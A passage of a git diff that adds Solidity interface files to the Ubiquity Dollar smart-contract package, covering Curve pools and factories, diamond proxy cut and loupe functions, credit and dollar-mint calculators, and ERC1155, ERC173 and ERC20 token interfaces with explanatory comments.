+ * @return Amount of Credit NFTs to mint + */ + function getCreditNftAmount( + uint256 dollarsToBurn + ) external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/ICreditRedemptionCalculator.sol b/packages/contracts/src/dollar/interfaces/ICreditRedemptionCalculator.sol new file mode 100644 index 000000000..31662f7db --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICreditRedemptionCalculator.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/** + * @notice Contract interface for calculating amount of Credits to mint on Dollars burn + * @notice Users are allowed to burn Dollars in exchange for Credit tokens. When a new debt + * cycle starts (i.e. Dollar price < 1$) then users can burn Dollars for Credits via this + * formula: `y = x * ((BlockDebtStart / BlockBurn) ^ p)` where: + * - `y`: amount of Credits to mint + * - `x`: amount of Dollars to burn + * - `BlockDebtStart`: block number when debt cycle started (i.e. block number when Dollar price became < 1$) + * - `BlockBurn`: block number when Dollar burn operation is performed + * - `p`: DAO controlled variable. The greater the `p` param the harsher the decrease rate of Dollars to mint. + * + * @notice Example: + * 1. Block debt cycle start: 190, block burn: 200, p: 1, Dollars to burn: 300 + * 2. Credits to mint: `300 * ((190/200)^1) = 285` + * + * @notice Example: + * 1. Block debt cycle start: 100, block burn: 200, p: 1, Dollars to burn: 300 + * 2. Credits to mint: `300 * ((100/200)^1) = 150` + * + * @notice Example: + * 1. Block debt cycle start: 190, block burn: 200, p: 2, Dollars to burn: 300 + * 2. Credits to mint: `300 * ((190/200)^1) = 270` + * + * @notice Example: + * 1. Block debt cycle start: 100, block burn: 200, p: 2, Dollars to burn: 300 + * 2. Credits to mint: `300 * ((100/200)^1) = 75` + * + * @notice It is more profitable to burn Dollars for Credits at the beginning of the debt cycle. + */ +interface ICreditRedemptionCalculator { + /** + * @notice Returns amount of Credits to mint for `dollarsToBurn` amount of Dollars to burn + * @param dollarsToBurn Amount of Dollars to burn + * @param blockHeightDebt Block number when the latest debt cycle started (i.e. when Dollar price became < 1$) + * @return Amount of Credits to mint + */ + function getCreditAmount( + uint256 dollarsToBurn, + uint256 blockHeightDebt + ) external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/ICurveFactory.sol b/packages/contracts/src/dollar/interfaces/ICurveFactory.sol new file mode 100644 index 000000000..073909f02 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICurveFactory.sol @@ -0,0 +1,263 @@ +// SPDX-License-Identifier: MIT +// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! +pragma solidity 0.8.19; + +/** + * @notice Curve Factory interface + * @notice Permissionless pool deployer and registry + */ +interface ICurveFactory { + /// @notice Emitted when a new base pool is added + event BasePoolAdded(address base_pool, address implementat); + + /// @notice Emitted when a new MetaPool is deployed + event MetaPoolDeployed( + address coin, + address base_pool, + uint256 A, + uint256 fee, + address deployer + ); + + /** + * @notice Finds an available pool for exchanging two coins + * @param _from Address of coin to be sent + * @param _to Address of coin to be received + * @return Pool address + */ + function find_pool_for_coins( + address _from, + address _to + ) external view returns (address); + + /** + * @notice Finds an available pool for exchanging two coins + * @param _from Address of coin to be sent + * @param _to Address of coin to be received + * @param i Index value. When multiple pools are available this value is used to return the n'th address. + * @return Pool address + */ + function find_pool_for_coins( + address _from, + address _to, + uint256 i + ) external view returns (address); + + /** + * @notice Get the number of coins in a pool + * @param _pool Pool address + * @return Number of coins + */ + function get_n_coins( + address _pool + ) external view returns (uint256, uint256); + + /** + * @notice Get the coins within a pool + * @param _pool Pool address + * @return List of coin addresses + */ + function get_coins(address _pool) external view returns (address[2] memory); + + /** + * @notice Get the underlying coins within a pool + * @dev Reverts if a pool does not exist or is not a metapool + * @param _pool Pool address + * @return List of coin addresses + */ + function get_underlying_coins( + address _pool + ) external view returns (address[8] memory); + + /** + * @notice Get decimal places for each coin within a pool + * @param _pool Pool address + * @return uint256 list of decimals + */ + function get_decimals( + address _pool + ) external view returns (uint256[2] memory); + + /** + * @notice Get decimal places for each underlying coin within a pool + * @param _pool Pool address + * @return uint256 list of decimals + */ + function get_underlying_decimals( + address _pool + ) external view returns (uint256[8] memory); + + /** + * @notice Get rates for coins within a pool + * @param _pool Pool address + * @return Rates for each coin, precision normalized to 10**18 + */ + function get_rates(address _pool) external view returns (uint256[2] memory); + + /** + * @notice Get balances for each coin within a pool + * @dev For pools using lending, these are the wrapped coin balances + * @param _pool Pool address + * @return uint256 list of balances + */ + function get_balances( + address _pool + ) external view returns (uint256[2] memory); + + /** + * @notice Get balances for each underlying coin within a metapool + * @param _pool Metapool address + * @return uint256 list of underlying balances + */ + function get_underlying_balances( + address _pool + ) external view returns (uint256[8] memory); + + /** + * @notice Get the amplfication co-efficient for a pool + * @param _pool Pool address + * @return uint256 A + */ + function get_A(address _pool) external view returns (uint256); + + /** + * @notice Get the fees for a pool + * @dev Fees are expressed as integers + * @return Pool fee and admin fee as uint256 with 1e10 precision + */ + function get_fees(address _pool) external view returns (uint256, uint256); + + /** + * @notice Get the current admin balances (uncollected fees) for a pool + * @param _pool Pool address + * @return List of uint256 admin balances + */ + function get_admin_balances( + address _pool + ) external view returns (uint256[2] memory); + + /** + * @notice Convert coin addresses to indices for use with pool methods + * @param _pool Pool address + * @param _from Coin address to be used as `i` within a pool + * @param _to Coin address to be used as `j` within a pool + * @return int128 `i`, int128 `j`, boolean indicating if `i` and `j` are underlying coins + */ + function get_coin_indices( + address _pool, + address _from, + address _to + ) external view returns (int128, int128, bool); + + /** + * @notice Add a base pool to the registry, which may be used in factory metapools + * @dev Only callable by admin + * @param _base_pool Pool address to add + * @param _metapool_implementation Implementation address that can be used with this base pool + * @param _fee_receiver Admin fee receiver address for metapools using this base pool + */ + function add_base_pool( + address _base_pool, + address _metapool_implementation, + address _fee_receiver + ) external; + + /** + * @notice Deploy a new metapool + * @param _base_pool Address of the base pool to use within the metapool + * @param _name Name of the new metapool + * @param _symbol Symbol for the new metapool - will be concatenated with the base pool symbol + * @param _coin Address of the coin being used in the metapool + * @param _A Amplification co-efficient - a higher value here means + * less tolerance for imbalance within the pool's assets. + * Suggested values include: + * * Uncollateralized algorithmic stablecoins: 5-10 + * * Non-redeemable, collateralized assets: 100 + * * Redeemable assets: 200-400 + * @param _fee Trade fee, given as an integer with 1e10 precision. The + * minimum fee is 0.04% (4000000), the maximum is 1% (100000000). + * 50% of the fee is distributed to veCRV holders. + * @return Address of the deployed pool + */ + function deploy_metapool( + address _base_pool, + string memory _name, + string memory _symbol, + address _coin, + uint256 _A, + uint256 _fee + ) external returns (address); + + /** + * @notice Transfer ownership of this contract to `addr` + * @param addr Address of the new owner + */ + function commit_transfer_ownership(address addr) external; + + /** + * @notice Accept a pending ownership transfer + * @dev Only callable by the new owner + */ + function accept_transfer_ownership() external; + + /** + * @notice Set fee receiver for base and plain pools + * @param _base_pool Address of base pool to set fee receiver for. For plain pools, leave as `ZERO_ADDRESS`. + * @param _fee_receiver Address that fees are sent to + */ + function set_fee_receiver( + address _base_pool, + address _fee_receiver + ) external; + + /** + * @notice Convert the fees of a pool and transfer to the pool's fee receiver + * @dev All fees are converted to LP token of base pool + */ + function convert_fees() external returns (bool); + + /** + * @notice Returns admin address + * @return Admin address + */ + function admin() external view returns (address); + + /** + * @notice Returns future admin address + * @return Fututre admin address + */ + function future_admin() external view returns (address); + + /** + * @notice Returns pool address by index + * @param arg0 Pool index + * @return Pool address + */ + function pool_list(uint256 arg0) external view returns (address); + + /** + * @notice Returns `pool_list` length + * @return Pool list length + */ + function pool_count() external view returns (uint256); + + /** + * @notice Returns base pool address by index + * @param arg0 Base pool index + * @return Base pool address + */ + function base_pool_list(uint256 arg0) external view returns (address); + + /** + * @notice Returns `base_pool_list` length + * @return Base pool list length + */ + function base_pool_count() external view returns (uint256); + + /** + * @notice Returns fee reciever by pool address + * @param arg0 Pool address + * @return Fee receiver + */ + function fee_receiver(address arg0) external view returns (address); +} diff --git a/packages/contracts/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol b/packages/contracts/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol new file mode 100644 index 000000000..ef0c377da --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICurveStableSwapFactoryNG.sol @@ -0,0 +1,100 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; + +/** + * @notice Factory allows the permissionless deployment of up to + * eight-coin plain pools (ex: DAI-USDT-USDC) and metapools (ex: USDT-3CRV). + * Liquidity pool and LP token share the same contract. + */ +interface ICurveStableSwapFactoryNG { + /** + * @notice Deploys a stableswap NG metapool + * @param _base_pool Address of the base pool to pair the token with. For tripool (DAI-USDT-USDC) use its pool + * address at 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7. + * @param _name Name of the new metapool, ex: `Dollar/3CRV` + * @param _symbol Symbol for the new metapool’s LP token - will be concatenated with the base pool symbol, ex: `Dollar3CRV` + * @param _coin Address of the coin being used in the metapool, ex: use Dollar token address + * @param _A Amplification coefficient. If set to 0 then bonding curve acts like Uniswap. Any >0 value + * makes the bonding curve to swap at 1:1 constant price, the more `_A` the longer the constant price period. + * Curve recommends set it to 100 for crypto collateralizard stablecoins. This parameter can be updated later. + * @param _fee Trade fee, given as an integer with 1e10 precision, ex: 4000000 = 0.04% fee + * @param _offpeg_fee_multiplier Off-peg multiplier. Curve recommends set it to `20000000000`. This parameter can be updated + * later. More info: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/overview/#dynamic-fees + * @param _ma_exp_time MA time; set as time_in_seconds / ln(2), ex: 866 = 600 seconds, 2597 = 1800 seconds. + * This parameter can be updated later. + * @param _implementation_idx Index of the metapool implementation to use. Can be retrieved + * via `ICurveStableSwapFactoryNG.metapool_implementations()`. There is only 1 metapool implementation right now + * so use index `0`. + * @param _asset_type Asset type of the pool as an integer. Available asset type indexes: + * - 0: Standard ERC20 token with no additional features + * - 1: Oracle - token with rate oracle (e.g. wstETH) + * - 2: Rebasing - token with rebase (e.g. stETH) + * - 3: ERC4626 - token with convertToAssets method (e.g. sDAI) + * Dollar is a standard ERC20 token so we should use asset type with index `0`. + * @param _method_id First four bytes of the Keccak-256 hash of the function signatures of + * the oracle addresses that give rate oracles. This is applied only to asset type `1` (Oracle). + * For Dollar token deployment set empty. + * @param _oracle Rate oracle address. This is applied only to asset type `1` (Oracle). + * For Dollar token deployment set empty address. + * @return Deployed metapool address + */ + function deploy_metapool( + address _base_pool, + string memory _name, + string memory _symbol, + address _coin, + uint256 _A, + uint256 _fee, + uint256 _offpeg_fee_multiplier, + uint256 _ma_exp_time, + uint256 _implementation_idx, + uint8 _asset_type, + bytes4 _method_id, + address _oracle + ) external returns (address); + + /** + * @notice Deploys a new plain pool + * @param _name Name of the new plain pool, ex: "LUSD/Dollar" + * @param _symbol Symbol for the new pool's LP token, ex: "LUSDDollar" + * @param _coins Array of addresses of the coins being used in the pool + * @param _A Amplification coefficient. If set to 0 then bonding curve acts like Uniswap. Any >0 value + * makes the bonding curve to swap at 1:1 constant price, the more `_A` the longer the constant price period. + * Curve recommends set it to 100 for crypto collateralizard stablecoins. This parameter can be updated later. + * @param _fee Trade fee, given as an integer with 1e10 precision, ex: 4000000 = 0.04% fee + * @param _offpeg_fee_multiplier Off-peg multiplier. Curve recommends set it to `20000000000`. This parameter can be updated + * later. More info: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/overview/#dynamic-fees + * @param _ma_exp_time MA time; set as time_in_seconds / ln(2), ex: 866 = 600 seconds, 2597 = 1800 seconds. + * This parameter can be updated later. + * @param _implementation_idx Index of the plain pool implementation to use. Can be retrieved + * via `ICurveStableSwapFactoryNG.pool_implementations()`. There is only 1 plain pool implementation right now + * so use index `0`. + * @param _asset_types Asset types of the pool tokens as an integer. Available asset type indexes: + * - 0: Standard ERC20 token with no additional features + * - 1: Oracle - token with rate oracle (e.g. wstETH) + * - 2: Rebasing - token with rebase (e.g. stETH) + * - 3: ERC4626 - token with convertToAssets method (e.g. sDAI) + * Both Dollar and LUSD are standard ERC20 tokens so we should use asset types with index `0`. + * @param _method_ids Array of first four bytes of the Keccak-256 hash of the function signatures of + * the oracle addresses that give rate oracles. This is applied only to asset type `1` (Oracle). + * For Dollar token deployment set empty. + * @param _oracles Array of rate oracle addresses. This is applied only to asset type `1` (Oracle). + * For Dollar token deployment set empty address. + * @return Deployed plain pool address + */ + function deploy_plain_pool( + string memory _name, + string memory _symbol, + address[] memory _coins, + uint256 _A, + uint256 _fee, + uint256 _offpeg_fee_multiplier, + uint256 _ma_exp_time, + uint256 _implementation_idx, + uint8[] memory _asset_types, + bytes4[] memory _method_ids, + address[] memory _oracles + ) external returns (address); +} diff --git a/packages/contracts/src/dollar/interfaces/ICurveStableSwapMetaNG.sol b/packages/contracts/src/dollar/interfaces/ICurveStableSwapMetaNG.sol new file mode 100644 index 000000000..c6371b0a0 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICurveStableSwapMetaNG.sol @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; + +/** + * @notice Curve MetaPool interface + * + * @notice **What is Curve MetaPool** + * @notice The pool that consists of 2 tokens: stable coin and 3CRV LP token. + * For example the pool may contain Ubiquity Dollar and 3CRV LP token. + * This allows users to trade between Ubiquity Dollar and any of the tokens + * from the Curve 3Pool (DAI, USDC, USDT). When user adds liquidity to the pool + * then he is rewarded with MetaPool LP tokens. 1 Dollar3CRV LP token != 1 stable coin token. + * @notice Add liquidity example: + * 1. User sends 100 Ubiquity Dollars to the pool + * 2. User gets 100 Dollar3CRV LP tokens of the pool + * @notice Remove liquidity example: + * 1. User sends 100 Dollar3CRV LP tokens to the pool + * 2. User gets 100 Dollar/DAI/USDC/USDT (may choose any) tokens + * + * @dev Source: https://github.com/curvefi/stableswap-ng/blob/bff1522b30819b7b240af17ccfb72b0effbf6c47/contracts/main/CurveStableSwapMetaNG.vy + * @dev Docs: https://docs.curve.fi/stableswap-exchange/stableswap-ng/pools/metapool/ + */ +interface ICurveStableSwapMetaNG is IERC20 { + /** + * @notice Deposits coins into to the pool and mints new LP tokens + * @param _amounts List of amounts of underlying coins to deposit. + * Amounts correspond to the tokens at the same index locations within `coins`. + * @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit + * @param _receiver Optional address that receives the LP tokens. If not specified, they are sent to the caller. + * @return The amount of LP tokens that were minted in the deposit + */ + function add_liquidity( + uint256[2] memory _amounts, + uint256 _min_mint_amount, + address _receiver + ) external returns (uint256); + + /** + * @notice Getter for the current balance of coin `i` within the pool + * @param i Coin index + * @return Coin balance + */ + function balances(uint256 i) external view returns (uint256); + + /** + * @notice Estimates the amount of LP tokens minted or burned based on a deposit or withdrawal + * + * @notice This calculation accounts for slippage, but not fees. It should be used as a basis for + * determining expected amounts when calling `add_liquidity()` or `remove_liquidity_imbalance()`, + * but should not be considered to be precise! + * + * @param _amounts Amount of each coin being deposited. Amounts correspond to the tokens at the + * same index locations within `coins()`. + * @param _is_deposit Set `True` for deposits, `False` for withdrawals + * @return The expected amount of LP tokens minted or burned + */ + function calc_token_amount( + uint256[2] memory _amounts, + bool _is_deposit + ) external view returns (uint256); + + /** + * @notice Returns token address by the provided `arg0` index + * @param arg0 Token index + * @return Token address + */ + function coins(uint256 arg0) external view returns (address); + + /** + * @notice Performs an exchange between two tokens. Index values can be found + * using the `coins()` public getter method, or `get_coins()` within the factory contract. + * @param i Index value of the token to send + * @param j Index value of the token to receive + * @param dx The amount of `i` being exchanged + * @param min_dy The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert. + * @return The amount of `j` received in the exchange + */ + function exchange( + int128 i, + int128 j, + uint256 dx, + uint256 min_dy + ) external returns (uint256); + + /** + * @notice Function to calculate the exponential moving average (ema) price for the coin at index value `i` + * @param i Index value of coin + * @return Price oracle + */ + function price_oracle(uint256 i) external view returns (uint256); + + /** + * @notice Withdraws a single asset from the pool + * @param _burn_amount Amount of LP tokens to burn in the withdrawal + * @param i Index value of the coin to withdraw. Can be found using the `coins()` getter method. + * @param _min_received Minimum amount of the coin to receive + * @return The amount of the coin received in the withdrawal + */ + function remove_liquidity_one_coin( + uint256 _burn_amount, + int128 i, + uint256 _min_received + ) external returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/ICurveStableSwapNG.sol b/packages/contracts/src/dollar/interfaces/ICurveStableSwapNG.sol new file mode 100644 index 000000000..95b31f1c5 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICurveStableSwapNG.sol @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapMetaNG} from "./ICurveStableSwapMetaNG.sol"; + +/** + * @notice Curve's interface for plain pool which contains only USD pegged assets + */ +interface ICurveStableSwapNG is ICurveStableSwapMetaNG { + function add_liquidity( + uint256[] memory _amounts, + uint256 _min_mint_amount, + address _receiver + ) external returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/ICurveTwocryptoOptimized.sol b/packages/contracts/src/dollar/interfaces/ICurveTwocryptoOptimized.sol new file mode 100644 index 000000000..e6ddce950 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/ICurveTwocryptoOptimized.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ICurveStableSwapMetaNG} from "./ICurveStableSwapMetaNG.sol"; + +/** + * @notice Curve's CurveTwocryptoOptimized interface + * + * @dev Differences between Curve's crypto and stable swap meta pools (and how Ubiquity organization uses them): + * 1. They contain different tokens: + * a) Curve's stable swap metapool containts Dollar/3CRVLP pair + * b) Curve's crypto pool contains Governance/ETH pair + * 2. They use different bonding curve shapes: + * a) Curve's stable swap metapool is more straight (because underlying tokens are pegged to USD) + * b) Curve's crypto pool resembles Uniswap's bonding curve (because underlying tokens are not USD pegged) + * 3. The `price_oracle()` method works differently: + * a) Curve's stable swap metapool `price_oracle(uint256 i)` accepts coin index parameter + * b) Curve's crypto pool `price_oracle()` doesn't accept coin index parameter and always returns oracle price for coin at index 1 + * + * @dev Basically `ICurveTwocryptoOptimized` has the same interface as `ICurveStableSwapMetaNG` + * but we distinguish them in the code for clarity. + */ +interface ICurveTwocryptoOptimized is ICurveStableSwapMetaNG { + /** + * @notice Getter for the oracle price of the coin at index 1 with regard to the coin at index 0. + * The price oracle is an exponential moving average with a periodicity determined by `ma_time`. + * @return Price oracle + */ + function price_oracle() external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/IDepositZap.sol b/packages/contracts/src/dollar/interfaces/IDepositZap.sol new file mode 100644 index 000000000..a91da5d27 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDepositZap.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/** + * @notice Interface for Curve's Deposit Zap + * @notice Deposit contracts (also known as “zaps”) allow users to add and remove liquidity + * from a pool using the pool’s underlying tokens + */ +interface IDepositZap { + /** + * @notice Wrap underlying coins and deposit them into `_pool` + * @param _pool Address of the pool to deposit into + * @param _amounts List of amounts of underlying coins to deposit + * @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit + * @return lpAmount Amount of LP tokens received by depositing + */ + function add_liquidity( + address _pool, + uint256[4] calldata _amounts, //Ubiquity Dollar, DAI, USDC, USDT + uint256 _min_mint_amount + ) external returns (uint256 lpAmount); + + /** + * @notice Withdraw and unwrap a single coin from the pool + * @param _pool Address of the pool to withdraw from + * @param lpAmount Amount of LP tokens to burn in the withdrawal + * @param i Index value of the coin to withdraw + * @param min_amount Minimum amount of underlying coin to receive + * @return coinAmount Amount of underlying coin received + */ + function remove_liquidity_one_coin( + address _pool, + uint256 lpAmount, + int128 i, + uint256 min_amount + ) external returns (uint256 coinAmount); + + /** + * @notice Withdraw and unwrap coins from the pool + * @dev Withdrawal amounts are based on current deposit ratios + * @param _pool Address of the pool to deposit into + * @param _amount Quantity of LP tokens to burn in the withdrawal + * @param min_amounts Minimum amounts of underlying coins to receive + * @return List of amounts of underlying coins that were withdrawn + */ + function remove_liquidity( + address _pool, + uint256 _amount, + uint256[4] calldata min_amounts + ) external returns (uint256[4] calldata); +} diff --git a/packages/contracts/src/dollar/interfaces/IDiamondCut.sol b/packages/contracts/src/dollar/interfaces/IDiamondCut.sol new file mode 100644 index 000000000..54382966b --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDiamondCut.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/// @notice Interface that allows modifications to diamond function selector mapping +interface IDiamondCut { + /** + * @notice Available diamond operations + * @dev Add=0, Replace=1, Remove=2 + */ + enum FacetCutAction { + Add, + Replace, + Remove + } + + /// @notice Struct used as a mapping of facet to function selectors + struct FacetCut { + address facetAddress; + FacetCutAction action; + bytes4[] functionSelectors; + } + + /** + * @notice Add/replace/remove any number of functions and optionally execute a function with delegatecall + * @param _diamondCut Contains the facet addresses and function selectors + * @param _init The address of the contract or facet to execute _calldata + * @param _calldata A function call, including function selector and arguments + * @dev `_calldata` is executed with delegatecall on `_init` + */ + function diamondCut( + FacetCut[] calldata _diamondCut, + address _init, + bytes calldata _calldata + ) external; + + /// @notice Emitted when facet selectors are modified + event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); +} diff --git a/packages/contracts/src/dollar/interfaces/IDiamondLoupe.sol b/packages/contracts/src/dollar/interfaces/IDiamondLoupe.sol new file mode 100644 index 000000000..19d2999c1 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDiamondLoupe.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/** + * @notice A loupe is a small magnifying glass used to look at diamonds. + * These functions look at diamonds. + * @dev These functions are expected to be called frequently by 3rd party tools. + */ +interface IDiamondLoupe { + /// @notice Struct used as a mapping of facet to function selectors + struct Facet { + address facetAddress; + bytes4[] functionSelectors; + } + + /** + * @notice Returns all facet addresses and their four byte function selectors + * @return facets_ Facets with function selectors + */ + function facets() external view returns (Facet[] memory facets_); + + /** + * @notice Returns all function selectors supported by a specific facet + * @param _facet Facet address + * @return facetFunctionSelectors_ Function selectors for a particular facet + */ + function facetFunctionSelectors( + address _facet + ) external view returns (bytes4[] memory facetFunctionSelectors_); + + /** + * @notice Returns all facet addresses used by a diamond + * @return facetAddresses_ Facet addresses in a diamond + */ + function facetAddresses() + external + view + returns (address[] memory facetAddresses_); + + /** + * @notice Returns the facet that supports the given selector + * @dev If facet is not found returns `address(0)` + * @param _functionSelector Function selector + * @return facetAddress_ Facet address + */ + function facetAddress( + bytes4 _functionSelector + ) external view returns (address facetAddress_); +} diff --git a/packages/contracts/src/dollar/interfaces/IDollarAmoMinter.sol b/packages/contracts/src/dollar/interfaces/IDollarAmoMinter.sol new file mode 100644 index 000000000..f1d21eb87 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDollarAmoMinter.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/// @notice AMO minter interface +/// @dev AMO minter can borrow collateral from the Ubiquity Pool to make some yield +interface IDollarAmoMinter { + /// @notice Returns collateral Dollar balance + /// @return Collateral Dollar balance + function collateralDollarBalance() external view returns (uint256); + + /// @notice Returns collateral index (from the Ubiquity Pool) for which AMO minter is responsible + /// @return Collateral token index + function collateralIndex() external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/IDollarMintCalculator.sol b/packages/contracts/src/dollar/interfaces/IDollarMintCalculator.sol new file mode 100644 index 000000000..3daba23d2 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDollarMintCalculator.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +/** + * @notice Interface for calculating amount of Dollars to be minted + * @notice When Dollar price > 1$ then any user can call `mintClaimableDollars()` to mint Dollars + * in order to move Dollar token to 1$ peg. The amount of Dollars to be minted is calculated + * using this formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY`. + * + * @notice Example: + * 1. Dollar price (i.e. TWAP price): 1.1$, Dollar total supply: 10_000 + * 2. When `mintClaimableDollars()` is called then `(1.1 - 1) * 10_000 = 1000` Dollars are minted + * to the current contract. + * + */ +interface IDollarMintCalculator { + /** + * @notice Returns amount of Dollars to be minted based on formula `(TWAP_PRICE - 1) * DOLLAR_TOTAL_SUPPLY` + * @return Amount of Dollars to be minted + */ + function getDollarsToMint() external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/IDollarMintExcess.sol b/packages/contracts/src/dollar/interfaces/IDollarMintExcess.sol new file mode 100644 index 000000000..3fa4ad0b1 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IDollarMintExcess.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; + +/** + * @notice Interface for distributing excess Dollars when `mintClaimableDollars()` is called + * @notice Excess Dollars are distributed this way: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + * + * @notice Example: + * 1. 1000 Dollars should be distributed + * 2. 50% (500 Dollars) goes to the `AppStorage.treasuryAddress` + * 3. 10% (100 Dollars) goes for burning Dollar-Governance LP tokens: + * - Half of 10% Dollars are swapped for Governance tokens on a DEX + * - Governance tokens and half of 10% tokens are added as a liquidity to the Dollar-Governance DEX pool + * - Dollar-Governance LP tokens are transfered to 0 address (i.e. burning LP tokens) + * 4. 40% (400 Dollars) goes to the Staking contract: + * - Swap Dollars for 3CRV LP tokens in the Curve's Dollar-3CRV MetaPool + * - Add 3CRV LP tokens to the Curve Dollar-3CRV MetaPool + * - Transfer Dollar-3CRV LP tokens to the Staking contract + */ +interface IDollarMintExcess { + /** + * @notice Distributes excess Dollars: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ + function distributeDollars() external; +} diff --git a/packages/contracts/src/dollar/interfaces/IERC1155Ubiquity.sol b/packages/contracts/src/dollar/interfaces/IERC1155Ubiquity.sol new file mode 100644 index 000000000..10f1412cb --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IERC1155Ubiquity.sol @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; + +/** + * @notice ERC1155 Ubiquity interface + * @notice ERC1155 with: + * - ERC1155 minter, burner and pauser + * - TotalSupply per id + * - Ubiquity Manager access control + */ +interface IERC1155Ubiquity is IERC1155 { + /** + * @notice Creates `amount` new tokens for `to`, of token type `id` + * @param to Address where to mint tokens + * @param id Token type id + * @param amount Tokens amount to mint + * @param data Arbitrary data + */ + function mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) external; + + /** + * @notice Mints multiple token types for `to` address + * @param to Address where to mint tokens + * @param ids Array of token type ids + * @param amounts Array of token amounts + * @param data Arbitrary data + */ + function mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) external; + + /** + * @notice Destroys `amount` tokens of token type `id` from `account` + * + * Emits a `TransferSingle` event. + * + * Requirements: + * + * - `account` cannot be the zero address. + * - `account` must have at least `amount` tokens of token type `id`. + */ + function burn(address account, uint256 id, uint256 value) external; + + /** + * @notice Batched version of `_burn()` + * + * Emits a `TransferBatch` event. + * + * Requirements: + * + * - `ids` and `amounts` must have the same length. + */ + function burnBatch( + address account, + uint256[] memory ids, + uint256[] memory values + ) external; + + /// @notice Pauses all token transfers + function pause() external; + + /// @notice Unpauses all token transfers + function unpause() external; + + /** + * @notice Returns total supply among all token ids + * @return Total supply among all token ids + */ + function totalSupply() external view returns (uint256); + + /** + * @notice Checks whether token `id` exists + * @return Whether token `id` exists + */ + function exists(uint256 id) external view returns (bool); + + /** + * @notice Returns array of token ids held by the `holder` + * @param holder Account to check tokens for + * @return Array of tokens which `holder` has + */ + function holderTokens( + address holder + ) external view returns (uint256[] memory); +} diff --git a/packages/contracts/src/dollar/interfaces/IERC173.sol b/packages/contracts/src/dollar/interfaces/IERC173.sol new file mode 100644 index 000000000..a6ea4ee71 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IERC173.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/** + * @notice ERC-173 Contract Ownership Standard + * @dev ERC-165 identifier for this interface is 0x7f5828d0 + */ +interface IERC173 { + /// @notice Emits when ownership of a contract changes + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + /** + * @notice Returns owner's address + * @return owner_ Owner address + */ + function owner() external view returns (address owner_); + + /** + * @notice Sets contract's owner to a new address + * @dev Set _newOwner to address(0) to renounce any ownership + * @param _newOwner The address of the new owner of the contract + */ + function transferOwnership(address _newOwner) external; +} diff --git a/packages/contracts/src/dollar/interfaces/IERC20Ubiquity.sol b/packages/contracts/src/dollar/interfaces/IERC20Ubiquity.sol new file mode 100644 index 000000000..bcdd32431 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IERC20Ubiquity.sol @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; + +/** + 